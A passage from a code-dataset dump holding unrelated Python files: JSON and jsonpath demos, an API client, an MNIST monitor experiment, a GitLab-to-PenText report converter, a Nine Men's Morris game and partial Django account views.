quit\n","sub_path":"yxs/hand_written.py","file_name":"hand_written.py","file_ext":"py","file_size_in_byte":6670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"242355276","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n__author__ = 'xiaoyureed'\n\n\ndef json_convert_demo():\n    \"\"\"\n    json.loads json字符串 转 Python数据类型\n    json.dumps Python数据类型 转 json字符串\n    json.load json文件 转 Python数据类型\n    json.dump Python数据类型 转 json文件\n    \"\"\"\n    import json\n\n    # json.loads json字符串 转 Python数据类型\n    json_string = '''\n    {\n        \"name\": \"crise\",\n        \"age\": 18,\n        \"parents\": {\n            \"mother\": \"妈妈\",\n            \"father\": \"爸爸\"\n        }\n    }\n    '''\n    print(\"json_string数据类型：\", type(json_string))\n    data = json.loads(json_string)\n    print(\"data数据类型：\", type(data))  # dict 类型\n    print(data)\n    print(\"*\" * 100)\n    # json.dumps Python数据类型 转 json字符串\n    data = {\n        \"name\": \"crise\",\n        \"age\": 18,\n        \"parents\": {\n            \"mother\": \"妈妈\",\n            \"father\": \"爸爸\"\n        }\n    }\n    print(\"data数据类型：\", type(data))\n    json_string = json.dumps(data)\n    print(\"json_string数据类型：\", type(json_string))\n    print(json_string)\n\n    print(\"*\" * 100)\n    # json.load json文件 转 Python数据类型\n    with open('resources/data.json', 'r', encoding='utf-8') as f:\n        data = json.load(f)\n        print(\"data数据类型：\", type(data))\n        print(data)\n\n    print(\"*\" * 100)\n    # json.dump Python数据类型 转 json文件\n    data = {\n        \"name\": \"crise\",\n        \"age\": 18,\n        \"parents\": {\n            \"monther\": \"妈妈\",\n            \"father\": \"爸爸\"\n        }\n    }\n    with open('resources/data_out.json', 'w', encoding='utf-8') as f:\n        json.dump(data, f, ensure_ascii=False, indent=2)\n\n\ndef json_path_demo():\n    \"\"\"\n    语法    描述    案例\n    $    根节点    \n    @    现行节点    \n    .    取子节点    $.store.book\n    ..    取子孙节点    $..book 可以跨越多级\n    []    设置筛选条件    $..book[0] 取第一个, $book[0:2] 取第一个第二个,0可以省略\n    [,]    支持多选选择内容    $..book[1,3]\n    ()    支持表达式计算    $..book[(@.length - 1)]\n    ?()    支持过滤操作    $..book[?(@.price<10)]\n\n    在线调试: http://jsonpath.com/\n    \"\"\"\n    import jsonpath\n    import requests\n    import json\n\n    url = \"http://www.lagou.com/lbs/getAllCitySearchLabels.json\"\n    headers = {\n        \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) \"\n                      \"Chrome/71.0.3578.98 Safari/537.36\"\n    }\n\n    html = requests.get(url, headers=headers).text\n    json_loads = json.loads(html)\n    cities = jsonpath.jsonpath(json_loads, '$..name')  # 数组\n    print (cities)\n\n\nif __name__ == '__main__':\n    # json_convert_demo()\n    json_path_demo()\n","sub_path":"crawler/json_demo.py","file_name":"json_demo.py","file_ext":"py","file_size_in_byte":2808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"35007158","text":"import fire\nimport requests\n\n\ndef request_album(id):\n    apiUrl = f'https://jsonplaceholder.typicode.com/photos?albumId={id}'\n    resp = requests.get(apiUrl)\n    photos = []\n    if resp.status_code != 200:\n        # This means something went wrong.\n        raise Exception(f'GET /photos {resp.status_code}')\n\n    # Print the id and title of each photo\n    for photo in resp.json():\n        photos.append(f\"[{photo['id']}] {photo['title']}\")\n\n    if len(photos) < 1:\n        return 'There are no photos in this album.'\n\n    return photos\n\n\nif __name__ == '__main__':\n    fire.Fire(request_album)\n","sub_path":"photo_album.py","file_name":"photo_album.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"76204308","text":"import sys                                                                         \nsys.path.insert(0, '/home/nikhil/Downloads/pavt/Outside-the-Box') \nfrom utils import *\nfrom abstractions import *\nfrom trainers import *\nfrom monitoring import *\nfrom run.Runner import run\n\nfrom abstractions.ConvexHull import ConvexHull\nfrom tensorflow_core.python.keras.models import load_model\nfrom models import *\n\ndef run_script():\n    # options\n    seed = 0\n    data_name = \"MNIST\"\n    classes = [0, 1]\n    data_train_model = DataSpec(randomize=False, classes=classes)\n    data_test_model = DataSpec(randomize=False, classes=classes)\n    data_train_monitor = DataSpec(n=300, randomize=True, classes=[0, 1])\n    data_test_monitor = DataSpec(n=100, randomize=False, classes=[2])\n    data_run = DataSpec(n=200, randomize=True, classes=[0, 1, 9])\n    model_name = \"MNIST\"\n    model_path = \"MNIST_2-model.h5\"\n    n_epochs = 2\n    batch_size = 128\n    score_fun = F1Score()\n    # confidence_thresholds = [0]\n    confidence_thresholds = uniform_bins(1, max=1)\n    alpha = 0.95\n    alphas = [0.99, 0.95, 0.9, 0.5]\n\n    #m = MNIST_CNY19(classes) \n    # model trainer\n    model_trainer = StandardTrainer()\n\n    # abstractions\n    confidence_fun_euclidean = euclidean_distance\n    #confidence_fun_half_space = halfspace_distance\n\n    box_abstraction = BoxAbstraction(confidence_fun_euclidean, epsilon=0.0)\n    #star_abstraction = StarAbstraction(confidence_fun_euclidean, epsilon=0.0)\n\n    layer2dimensions = {-3: [68, 69], -2: [12, 14]}\n    layer2abstraction = {-2: box_abstraction}\n    #layer2abstraction = {-2: star_abstraction}\n    print(layer2abstraction)\n    print(layer2abstraction[-2].sets)\n    print(layer2abstraction[-2].dim)\n    print(layer2abstraction[-2].epsilon)\n    print(layer2abstraction[-2].epsilon_relative)\n    print(layer2abstraction[-2].confidence_fun)\n    monitor1 = Monitor(layer2abstraction, score_fun, layer2dimensions)\n    monitor1_w_novelties = Monitor(layer2abstraction, score_fun, layer2dimensions, is_novelty_training_active=True)\n\n    monitors = [monitor1, monitor1_w_novelties]\n    monitor_manager = MonitorManager(monitors, clustering_threshold=0.1, n_clusters=3)\n\n    print(\"***************************************************\")\n    for m in monitor_manager._monitors:\n        print(m._layer2abstraction[-2].dim)\n    print(monitor_manager._layers)\n    history_run, histories_alpha_thresholding, novelty_wrapper_run, novelty_wrappers_alpha_thresholding, \\\n        statistics = evaluate_all(seed=seed, data_name=data_name, data_train_model=data_train_model,\n                         data_test_model=data_test_model, data_train_monitor=data_train_monitor,\n                         data_test_monitor=data_test_monitor, data_run=data_run, model_trainer=model_trainer,\n                         model_name=model_name, model_path=model_path, n_epochs=n_epochs, batch_size=batch_size,\n                         monitor_manager=monitor_manager, alphas=alphas)\n\n\n    ##########\n    history_run.update_statistics(1)\n    fn = history_run.false_negatives()\n    fp = history_run.false_positives()\n    tp = history_run.true_positives()\n    tn = history_run.true_negatives()\n    novelty_results = novelty_wrapper_run.evaluate_detection(1)\n    storage_1 = CoreStatistics(fn=fn, fp=fp, tp=tp, tn=tn, novelties_detected=len(novelty_results[\"detected\"]),\n                               novelties_undetected=len(novelty_results[\"undetected\"]))\n    storages_1 = [storage_1]\n\n    \n    history_run.update_statistics(2)\n    fn = history_run.false_negatives()\n    fp = history_run.false_positives()\n    tp = history_run.true_positives()\n    tn = history_run.true_negatives()\n    novelty_results = novelty_wrapper_run.evaluate_detection(2)\n    storage_2 = CoreStatistics(fn=fn, fp=fp, tp=tp, tn=tn, novelties_detected=len(novelty_results[\"detected\"]),\n                               novelties_undetected=len(novelty_results[\"undetected\"]))\n    storages_2 = [storage_2]\n\n    storages_at = []\n\n    for history_alpha, novelty_wrapper_alpha, alpha in zip(\n            histories_alpha_thresholding, novelty_wrappers_alpha_thresholding, alphas):\n        # history_alpha.update_statistics(0, confidence_threshold=alpha)  # not needed: history is already set\n        fn = history_alpha.false_negatives()\n        fp = history_alpha.false_positives()\n        tp = history_alpha.true_positives()\n        tn = history_alpha.true_negatives()\n        novelty_results = novelty_wrapper_alpha.evaluate_detection(0)\n        storage = CoreStatistics(fn=fn, fp=fp, tp=tp, tn=tn, novelties_detected=len(novelty_results[\"detected\"]),\n                                 novelties_undetected=len(novelty_results[\"undetected\"]))\n        storages = [storage]\n        storages_at.append(storages)\n\n    # store results\n    store_core_statistics(storages_1, \"monitor1\")\n    store_core_statistics(storages_2, \"monitor2\")\n    store_core_statistics(storages_at, alphas)\n\n    # load results\n    storages_1b = load_core_statistics(\"monitor1\")\n    storages_2b = load_core_statistics(\"monitor2\")\n    storages_atb = load_core_statistics(alphas)\n    pass\n    \n\n\nif __name__ == \"__main__\":\n    run_script()\n","sub_path":"run/my_test.py","file_name":"my_test.py","file_ext":"py","file_size_in_byte":5151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"570191830","text":"#!/usr/bin/env python\n\n\"\"\"\nGitlab bridge for PenText: imports and updates gitlab issues into PenText\n(XML) format\n\nThis script is part of the PenText framework\n                           https://pentext.org\n\n   Copyright (C) 2016-2017 Radically Open Security\n                           https://www.radicallyopensecurity.com\n\n                Author(s): Peter Mosmans\n\nThis program is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\n\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport argparse\nimport io\nimport os\nimport sys\nimport textwrap\n\ntry:\n    import gitlab\n    import pypandoc\n    # Path of this script. The validate_report module is on the same path.\n    sys.path.append(os.path.dirname(__file__))\n    import validate_report\nexcept (NameError, ImportError) as exception:\n    print('[-] This script needs python-gitlab, pypandoc and validate_report library',\n          file=sys.stderr)\n    print(\"validate_report is part of the pentext framework\", file=sys.stderr)\n    print(\"Install python-gitlab with: sudo pip install python-gitlab\", file=sys.stderr)\n    print(\"Install pypandoc with: sudo pip install pypandoc\\n\", file=sys.stderr)\n    print(\"Currently missing: \" + exception.message, file=sys.stderr)\n    sys.exit(-1)\n\n\nclass BaseItem(object):\n    \"\"\"\n    Base class for Pentext items\n    \"\"\"\n\n    DECLARATION = '<?xml version=\"1.0\" encoding=\"utf-8\"?>\\n'\n\n    def __init__(self, item_type):\n        if item_type not in ('finding', 'non-finding'):\n            raise ValueError('Only finding and non-finding are currently supported')\n        self.item_type = item_type\n        self.__path = '{0}s'.format(self.item_type)\n        self.root_open = '<{0}>\\n'.format(self.item_type)\n        self.root_close = '</{0}>\\n'.format(self.item_type)\n        self.title = ''\n        self.content = ''\n\n    @property\n    def filename(self):\n        \"\"\"\n        Filename.\n        \"\"\"\n        return '{0}/{1}.xml'.format(self.__path, valid_filename(self.identifier))\n\n    def __str__(self):\n        \"\"\"\n        Return a XML version of the class\n        \"\"\"\n        return self.DECLARATION + self.root_open + self.element('title') + \\\n            self.content + self.root_close\n\n    def element(self, attribute):\n        \"\"\"\n        Return opening and closing attribute tags, including attribute value.\n        \"\"\"\n        return '<{0}>{1}</{0}>\\n'.format(attribute, getattr(self, attribute))\n\n    def write_file(self):\n        \"\"\"\n        Write item as XML to file.\n        \"\"\"\n        try:\n            with io.open(self.filename, 'w') as xmlfile:\n                xmlfile.write(unicode(self))\n                print_line('[+] Wrote {0}'.format(self.filename))\n        except IOError:\n            print_error('Could not write to %s', self.filename)\n\n\nclass Finding(BaseItem):\n    \"\"\"\n    Encapsulates finding.\n    \"\"\"\n\n    def __init__(self):\n        BaseItem.__init__(self, 'finding')\n        self.threat_level = 'Moderate'\n        self.finding_type = 'TODO'\n        self.description = '<p>TODO</p>'\n        self.technicaldescription = '<p>TODO</p>'\n        self.impact = '<p>TODO</p>'\n        self.recommendation = '<ul><li>TODO</li></ul>'\n\n    def __str__(self):\n        \"\"\"\n        Return a XML version of the class\n        \"\"\"\n        self.root_open = '<finding id=\"{0}\" threatLevel=\"{1}\" type=\"{2}\">\\n'.format(self.identifier,\n                                                                                    self.threat_level,\n                                                                                    self.finding_type)\n        self.content = self.element('description') + \\\n                       self.element('technicaldescription') + \\\n                       self.element('impact') + \\\n                       self.element('recommendation')\n        return BaseItem.__str__(self)\n\n\nclass NonFinding(BaseItem):\n    \"\"\"\n    Encapsulates non-finding.\n    \"\"\"\n\n    def __init__(self):\n        BaseItem.__init__(self, 'non-finding')\n\n    def __str__(self):\n        self.root_open = '<non-finding id=\"{0}\">\\n'.format(self.identifier)\n        return BaseItem.__str__(self)\n\n\ndef from_issue(issue):\n    \"\"\"\n    Parse gitlab issue and return Finding, NonFinding or None\n    \"\"\"\n    if 'finding' in [x.lower() for x in issue.labels]:\n        item = Finding()\n        item.description = convert_text(issue.description)\n        for note in [x for x in reversed(issue.notes.list()) if not x.system]:\n            if len(note.body.splitlines()):\n                if 'impact' in note.body.split()[0].lower():\n                    item.impact = convert_text(''.join(note.body.splitlines(True)[1:]))\n                elif 'recommendation' in note.body.split()[0].lower():\n                    item.recommendation = convert_text(''.join(note.body.splitlines(True)[1:]))\n                else:\n                    item.technicaldescription += u'{0}\\n'.format(convert_text(note.body))\n    elif 'non-finding' in [x.lower() for x in issue.labels]:\n        item = NonFinding()\n        for note in [x for x in reversed(issue.notes.list()) if not x.system]:\n            item.content += convert_text(note.body) + '\\n'\n    else:\n        return None\n    item.title = validate_report.capitalize(issue.title.strip())\n    item.identifier = 'f{0}-{1}'.format(issue.iid, valid_filename(item.title))\n    return item\n\n\ndef add_item(issue, options):\n    \"\"\"\n    Convert issue into XML finding and create file.\n    \"\"\"\n    item = from_issue(issue)\n    if not item:\n        return\n    if os.path.isfile(item.filename) and not options['overwrite']:\n        print_line('{0} {1} already exists (use --overwrite to overwrite)'.\n                   format(item.item_type, item.filename))\n        return\n    if options['dry_run']:\n        print_line('[+] {0}\\n{1}'.format(item.filename, item))\n    else:\n        if options['y'] or ask_permission('Create file ' + item.filename):\n            item.write_file()\n\n\ndef convert_text(text):\n    \"\"\"\n    Convert (gitlab) markdown to 'XML' (actually HTML5).\n    \"\"\"\n    return unicode.replace(pypandoc.convert_text(text, 'html5', format='markdown_github'), '\\r\\n', '\\n')\n\n\ndef ask_permission(question):\n    \"\"\"\n    Ask question and return True if user answered with y.\n    \"\"\"\n    print_line('{0} ? [y/N]'.format(question))\n    return raw_input().lower() == 'y'\n\n\ndef list_issues(gitserver, options):\n    \"\"\"\n    Lists all issues for options['issues']\n    \"\"\"\n    for issue in gitserver.project_issues.list(project_id=options['issues'],\n                                               per_page=999):\n        if issue.state == 'closed' and not options['closed']:\n            continue\n        add_item(issue, options)\n\n\ndef list_projects(gitserver):\n    \"\"\"\n    Lists all available projects.\n    \"\"\"\n    for project in gitserver.projects.list(all=True):\n        print_line('{0} - {1}'.format(project.as_dict()['id'],\n                                      project.as_dict()['path']))\n\n\ndef parse_arguments():\n    \"\"\"\n    Parses command line arguments.\n    \"\"\"\n    parser = argparse.ArgumentParser(\n        formatter_class=argparse.RawDescriptionHelpFormatter,\n        description=textwrap.dedent('''\\\ngitlab-to-pentext - imports and updates gitlab issues into PenText (XML) format\n\nCopyright (C) 2015-2017  Radically Open Security (Peter Mosmans)\n\nThis program is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.'''))\n    parser.add_argument('--closed', action='store',\n                        help='take closed issues into account')\n    parser.add_argument('--dry-run', action='store_true',\n                        help='do not write anything, only output on screen')\n    parser.add_argument('--issues', action='store',\n                        help='list issues for a given project')\n    parser.add_argument('--overwrite', action='store_true',\n                        help='overwrite existing issues')\n    parser.add_argument('--projects', action='store_true',\n                        help='list gitlab projects')\n    parser.add_argument('-v', '--verbose', action='store_true',\n                        help='increase output verbosity')\n    parser.add_argument('-y', action='store_true',\n                        help='assume yes on all questions, write findings')\n    if len(sys.argv) == 1:\n        parser.print_help()\n    return vars(parser.parse_args())\n\n\ndef preflight_checks():\n    \"\"\"\n    Checks if all tools are there.\n    Exits with 0 if everything went okilydokily.\n    \"\"\"\n    gitserver = None\n    try:\n        gitserver = gitlab.Gitlab.from_config('remote')\n        gitserver.auth()\n    except gitlab.config.GitlabDataError as exception:\n        print_error('could not connect {0}'.format(exception), -1)\n    for path in ('findings', 'non-findings'):\n        if not os.path.isdir(path):\n            print_error('Path {0} does not exist: Is this a Pentext repository ?'.format(path), -1)\n    return gitserver\n\n\ndef print_error(text, result=False):\n    \"\"\"\n    Prints error message.\n    When @result, exits with result.\n    \"\"\"\n    if len(text):\n        print_line('[-] ' + text, True)\n    if result:\n        sys.exit(result)\n\n\ndef print_line(text, error=False):\n    \"\"\"\n    Prints text, and flushes stdout and stdin.\n    When @error, prints text to stderr instead of stdout.\n    \"\"\"\n    if not error:\n        print(text)\n    else:\n        print(text, file=sys.stderr)\n    sys.stdout.flush()\n    sys.stderr.flush()\n\n\ndef print_status(text, options=False):\n    \"\"\"\n    Prints status message if options array is given and contains 'verbose'.\n    \"\"\"\n    if options and options['verbose']:\n        print_line('[*] ' + str(text))\n\n\ndef valid_filename(filename):\n    \"\"\"\n    Return a valid filename.\n    \"\"\"\n    result = ''\n    for char in filename.strip():\n        if char in ['*', ':', '/', '.', '\\\\', ' ', '[', ']', '(', ')', '\\'', '\\\"']:\n            if len(char) and not result.endswith('-'):\n                result += '-'\n        else:\n            result += char\n    return result.lower()\n\n\ndef main():\n    \"\"\"\n    The main program.\n    \"\"\"\n    options = parse_arguments()\n    gitserver = preflight_checks()\n    if options['projects']:\n        list_projects(gitserver)\n    if options['issues']:\n        list_issues(gitserver, options)\n\n\nif __name__ == \"__main__\":\n    main()\n","sub_path":"python/gitlab-to-pentext.py","file_name":"gitlab-to-pentext.py","file_ext":"py","file_size_in_byte":10611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"502300345","text":"\n# coding: utf-8\n\n# In[1]:\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib import patches\n\nimport sys\nfrom getopt import getopt\nimport itertools\nfrom time import sleep\n\nimport ai\n\n\n# # A bunch of functions\n\n# ### Util\n\n# In[2]:\n\ndef round(ticks):\n    return lambda num: np.round(num/ticks)*ticks\n\n\n# In[3]:\n\ndef get_title():\n    #need to declare these below\n    return \"Player \" + str(player+1) + \": \" + prompt[gameState]\n\n\n# In[4]:\n\ndef show_board(board, mills):\n    '''\n    @param mills - expects list of rows like this [(0, (0,3,6)),(1,(1,3,5))]\n    @param board - should a the 7x7 nparray with integers 0,1,or 2\n    '''\n    size = board.shape\n    \n    #setup\n    plt.close('all')\n    fig = plt.figure(figsize=(12,12))\n    ax = fig.add_subplot(111, aspect='equal')\n    plt.title(get_title())\n    \n    padding=1\n    ax.set_ylim(-padding,size[0])\n    ax.set_xlim(-padding,size[1])\n    #hide axes\n    ax.get_xaxis().set_visible(False)\n    ax.get_yaxis().set_visible(False)\n\n    board_T = board.T\n    color = [\"blue\", \"red\", \"black\"]\n    \n    for row, columns in mills:\n        X = [row, row, row] #your boat...\n        Y = columns\n        #draw the line first\n        ax.plot(X,Y, c=\"black\")\n        #and the transpose\n        ax.plot(Y,X, c=\"black\")\n        \n        #now the nodes\n        for col in columns:\n            ax.add_patch(patches.Circle((row, col), 0.25, facecolor=color[board[row,col]], zorder=3))\n            #and the transpose\n            ax.add_patch(patches.Circle((col, row), 0.25, facecolor=color[board[col,row]], zorder=3))\nplt.show()\n\n\n# ### Game functions\n\n# > ### States and associated prompts\n\n# In[5]:\n\n#states\nplacing, moveSelect, movePlace, flySelect, flyPlace, mill, millSelect, end = range(8)\n\nnextState = [0] * 8\nnextState[placing]    = placing\nnextState[moveSelect] = movePlace\nnextState[movePlace]  = moveSelect\nnextState[flySelect]  = flyPlace\nnextState[flyPlace]   = moveSelect\nnextState[mill]       = millSelect\nnextState[millSelect] = moveSelect\nnextState[end]        = end\n\nprompt = [\"Place a piece\", \"Select a piece to move\", \"Select a space to move to\",\n          \"Fly! Select a piece\", \"Select any empty space to fly to\", \"Mill!\", \"Mill!\", \"Winner!\"]\nalert = \"\"\n\n\n# In[6]:\n\ndef checkSelection(selection):\n    #~ changed *selection to selection[0]\n    selection = tuple(map(round(0.25), selection))\n    #~ added x,y >= 0\n    looksGood = (selection[0] - int(selection[0]) != 0.5 and selection[1] - int(selection[1]) != 0.5 and selection[0] >= 0 and selection[1] >= 0)\n    selection = tuple(map(int, selection))\n    \n    #Then check if this is a valid point\n    looksGood &= (selection in points)\n    \n    #finally, check validity of move based on current state\n    if gameState in [moveSelect, flySelect]:\n        #should only be clicking on your own piece\n        looksGood &= (board[selection] == player)\n        #~ avoid move if no adjacent slots are empty\n        if gameState == moveSelect:\n            looksGood &= any([(board[node] ==empty) for node in getneighbors(selection)])\n    elif gameState in [placing, movePlace, flyPlace]:\n        #should only select empty space\n        looksGood &= (board[selection] == empty)\n        if gameState == movePlace:\n            looksGood &= (movingPiece in getneighbors(selection))\n    elif gameState == millSelect:\n        p_o = (player+1)%2\n        looksGood &= board[selection] == p_o\n        if isMill(selection, p_o):\n            #if the choice is part of a mill, the only way that is a valid choice\n            #is if all the other opponent pieces are part of a mill\n            pointsAreInMill = [isMill(point, p_o) for point in getPlayerPieces(p_o)]\n            looksGood &= all(pointsAreInMill)\n    \n    return looksGood, selection\n\n\n# In[7]:\n\ndef isMill(selection, player):\n    horizontal = list(itertools.chain(*[y for x, y in mills if x == selection[0] and selection[1] in y]))\n    vertical   = list(itertools.chain(*[x for y, x in mills if y == selection[1] and selection[0] in x]))\n    \n    foundMill =  all([(board[selection[0], y] == player) for y in horizontal])\n    foundMill |= all([(board[x, selection[1]] == player) for x in vertical])\n    \n    return foundMill\n\n\n# In[8]:\n\ndef gameOver():\n    #check all spaces for legal moves or less than 3 pieces left for other player\n    p_o = (player+1)%2\n    endGame = (9-removed[p_o] < 3)\n    \n    if (9-removed[p_o] > 3 and pieces[p_o] == 0):\n        #only adjacent spaces are legal moves\n        #~ added itertools.chain\n        adjacent_spaces = list(itertools.chain(*[getneighbors(node) for node in getPlayerPieces(p_o)]))\n        #adjacent_spaces = [getneighbors(node) for node in getPlayerPieces(p_o)]\n        adjacent_spaces_occupied = [(board[space] != empty) for space in adjacent_spaces]\n        endGame |= all(adjacent_spaces_occupied)\n    #if fly rule, cornering is impossible. no need to check\n        \n    return endGame\n\n\n# In[9]:\n\ndef getneighbors(node):\n    horizontal = list(itertools.chain(*[y for x, y in mills if x == node[0] and node[1] in y]))\n    vertical   = list(itertools.chain(*[x for y, x in mills if y == node[1] and node[0] in x]))\n    \n    Ys = [(i,j) for i,j in zip(horizontal,horizontal[1:]) if i==node[1] or j==node[1]]\n    Xs = [(i,j) for i,j in zip(vertical,vertical[1:]) if i==node[0] or j==node[0]]\n    \n    neighbors      = [(node[0], y) for y in itertools.chain(*Ys) if y != node[1]]\n    neighbors.extend([(x, node[1]) for x in itertools.chain(*Xs) if x != node[0]])\n    return neighbors\n\n\n# In[10]:\n\ndef getPlayerPieces(player):\n    return [point for point in points if board[point] == player]\n\n\n# In[11]:\n\ndef updateGameState(selection):\n    # Move was already validated\n    global gameState, player, removed, board, pieces, movingPiece\n    if(gameState in [placing, movePlace, flyPlace]):\n        board[selection] = player\n        board[movingPiece] = empty\n        if(gameState == placing):\n            pieces[player] -= 1\n        if isMill(selection, player):\n            gameState = mill\n    elif(gameState == millSelect):\n        board[selection] = empty\n        removed[(player+1)%2] += 1\n    elif(gameState in [moveSelect, flySelect]):\n        movingPiece = selection\n    else:\n        movingPiece = (3,3) # the middle isn't used\n    \n    if(gameOver()):\n        gameState = end\n    else:\n        gameState = nextState[gameState]\n    \n    \n    if(gameState in [moveSelect, placing]):\n        player = (player+1) % 2\n        #fix the game state\n        if(9 - removed[player] == 3):\n            gameState = flySelect\n        elif(pieces[player] == 0):\n            gameState = moveSelect\n        else:\n            gameState = placing\n\n\n# # Play the game\n\n# ### Some initial setup\n\n# In[12]:\n\n#args = []\n#args = \"--ai\".split()\nargs = sys.argv[1:]\n\nopts, args = getopt(args, \"\", [\"ai\"])\n\n\n# In[13]:\n\n#initialize game\ngameState = placing\npieces = [9,9]\nremoved = [0,0]\nplayer = np.random.choice([0,1])\nvs_ai = \"--ai\" in [opt[0] for opt in opts]\nempty = 2\nmovingPiece = (3,3)\n\nai_player = None\n\nif vs_ai:\n    ai_player = ai.alphabeta()\n\n\n# In[14]:\n\nn=7\nboard = np.zeros((n,n), dtype=np.int)\nboard.fill(empty)\n#I'm too lazy to write 8 elements\nmills = list(map(lambda x: (x,(x,3,n-1-x)), range(3)))\nmills.append((3,(0,1,2)))\nmills.append((3,(4,5,6)))\nmills.extend(list(map(lambda x: (x,(x,3,n-1-x)), range(4,7))))\n\n#mills is good for a lookup, but points is actually all the points\npoints = [(x,y) for x,Y in mills for y in Y]\n\n\n# ### testing the display\n\n# In[15]:\n\nshow_board(board,mills)\n\n\n# ### Begin playing\n\n# In[ ]:\n\nwhile(gameState != end):\n    show_board(board,mills)\n    validMove = False\n    while(not validMove):\n        if player == 1 and vs_ai:\n            selection = ai_player.move(board, mills, gameState)\n        else:\n            selection = next(iter(plt.ginput(1, 0)), (3,3))\n        validMove, selection = checkSelection(selection)\n        \n        if not validMove:\n            print(\"(%d, %d) is invalid!! >:/\" % selection)\n    updateGameState(selection)\nprint(\"Game Over\")\nsleep(5)\n\n\n# In[ ]:\n\n\n\n","sub_path":"1/9Mens_Morris.py","file_name":"9Mens_Morris.py","file_ext":"py","file_size_in_byte":8035,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"391713975","text":"# Create your views here.\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.shortcuts import render_to_response, redirect\nfrom django.template import RequestContext\n\n# from django.core.email import EmailMessage\n# from django.contrib.auth import authenticate, login, logout\n\n# from django.conf import settings\n\nfrom django.core.context_processors import csrf\n\n# from django.contrib.auth.models import User\n# from accounts.models import *\nfrom accounts.forms import RespondentForm, UserForm, SearchRespondentForm\n\nfrom encuestas.models import Feature, Answer, PersonalTest,Calification\nfrom accounts.models  import Respondent\n\n\n\n\nfrom django.contrib.auth.decorators import login_required\n# from django.views.decorators.debug import sensitive_post_parameters\n# from django.views.decorators.cache import never_cache\nfrom django.views.decorators.csrf import csrf_protect\n\n\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\n\n\ndef display_user_profile(request):\n    res = \"mk\"\n    if hasattr(request.user,'profile'):\n        if request.user.profile.__class__.__name__ == \"Pollster\":\n            return HttpResponseRedirect('/accounts/pollster/')\n        elif request.user.profile.__class__.__name__ == \"Respondent\":\n            res = \"I am a Respondent\"\n            return HttpResponse(res)\n    elif request.user.__class__.__name__ == \"User\":\n        if request.user.is_superuser:\n            return HttpResponseRedirect('/accounts/admin/')\n        res  = \"I am a Unregitred user\"\n        return HttpResponse(res)\n    elif request.user.__class__.__name__ == \"AnonymousUser\": \n        res  = \"I am a AnonymousUser\"\n        return HttpResponse(res)\n        \n    return HttpResponse(res)\n\n\n@csrf_protect\ndef login_user(request,next):\n    from django.contrib.auth import authenticate, login\n    if(request.user.is_authenticated()):\n         return render_to_response(\"encuestas/index.html\",context_instance=RequestContext(request))#poner la pagina anteriro\n    state = \"Ingrese Usuario y Contrasena\"\n    username = password = ''\n    user = None\n    if request.POST:\n        username = request.POST.get('username')\n        password = request.POST.get('password')\n        user = authenticate(username=username, password=password)\n        if user is not None:\n            if user.is_active:\n                login(request, user)\n                return HttpResponseRedirect(next)\n            else:\n                # Return a 'disabled account' error message \n                state = \"su cuenta no esta activa\"\n        else:\n            # Return an 'invalid login' error message.\n            state = \"su nombre y/o contraselna estan incorrecots\"\n    params = {\n     'state':state, \n     'username': username,\n     'act_home': 'active'\n    }\n    params.update(csrf(request))\n    return render_to_response('accounts/login.html',params,context_instance=RequestContext(request))\n\n\n# @login_required\ndef logout_user(request,template_name):\n    from django.contrib.auth import logout\n    logout(request)\n    return render_to_response(template_name,context_instance=RequestContext(request))\n\n\n# @login_required(login_url = url ('encuestas.views.display_user_profile'))\n# @login_required\ndef pollster_profile(request):\n    # si usuario fse cero :: si no ha seleccionado ningun usuario --> buscar un usuario\n    # si usuario fse uno  :: si ya tiene seleccionado un usuario  --> realizar encuesta\n    # si usuario fase dos :: si tiene una encuesta pendiente      --> dirigir a la encuesta \n    # si usuario fase tres :: si ya ha terminado la encuesta      --> ir a calificar la encuesta\n    # si usuario fase cuatro :: si ya ha calificado la encuesta   --> ir a buscar usuario\n    # request.session['example'] = \"uno\"\n    # request.session['example'] \n    params={\n      'act_profile':'active',\n    }\n\n    return render_to_response('pollster/profile.html',params,context_instance=RequestContext(request))\n\n# @login_required\ndef respondent_profile(request,id):\n    pass\n\n\n# @login_required\ndef new_respondent(request,next=None):\n    \"\"\"este metoo permite agregar un que responde las caracteristicas\"\"\"\n    if request.POST:\n\n        resp_form = RespondentForm(request.POST)\n\n            \n        if resp_form.is_valid():\n           resp_form.save()\n           return HttpResponseRedirect('respondent/test/?cedule='+request.POST.get('cedule'))\n    else:\n        resp_form = RespondentForm()\n    return render_to_response(\"respondent/new.html\",{\n        'resp_form' : resp_form,\n        },context_instance=RequestContext(request))\n\n\ndef search_respondent(request):\n    \"\"\"\"\"\"\n    data = {\n        \"form\": SearchRespondentForm(),\n        \"respondent_list\": None,\n        \"error\" :  \"no_get\"\n    }    \n    if request.GET:\n        respondent_list = Respondent.objects.all()\n        cedule = request.GET.get('cedule', None)\n        if cedule:\n            respondent_list = respondent_list.filter(cedule = cedule)\n            data = {\n                \"form\": SearchRespondentForm(request.GET),\n                \"respondent_list\": respondent_list\n            }\n        else:\n            data = {\n                \"form\": SearchRespondentForm(request.GET),\n                \"respondent_list\": None,\n                \"error\" : \"no_cedule\",\n            }            \n    return render_to_response(\"respondent/search.html\",data,context_instance = RequestContext(request))\n# select all where \n\n\n\ndef new_test(request):\n    from django.utils 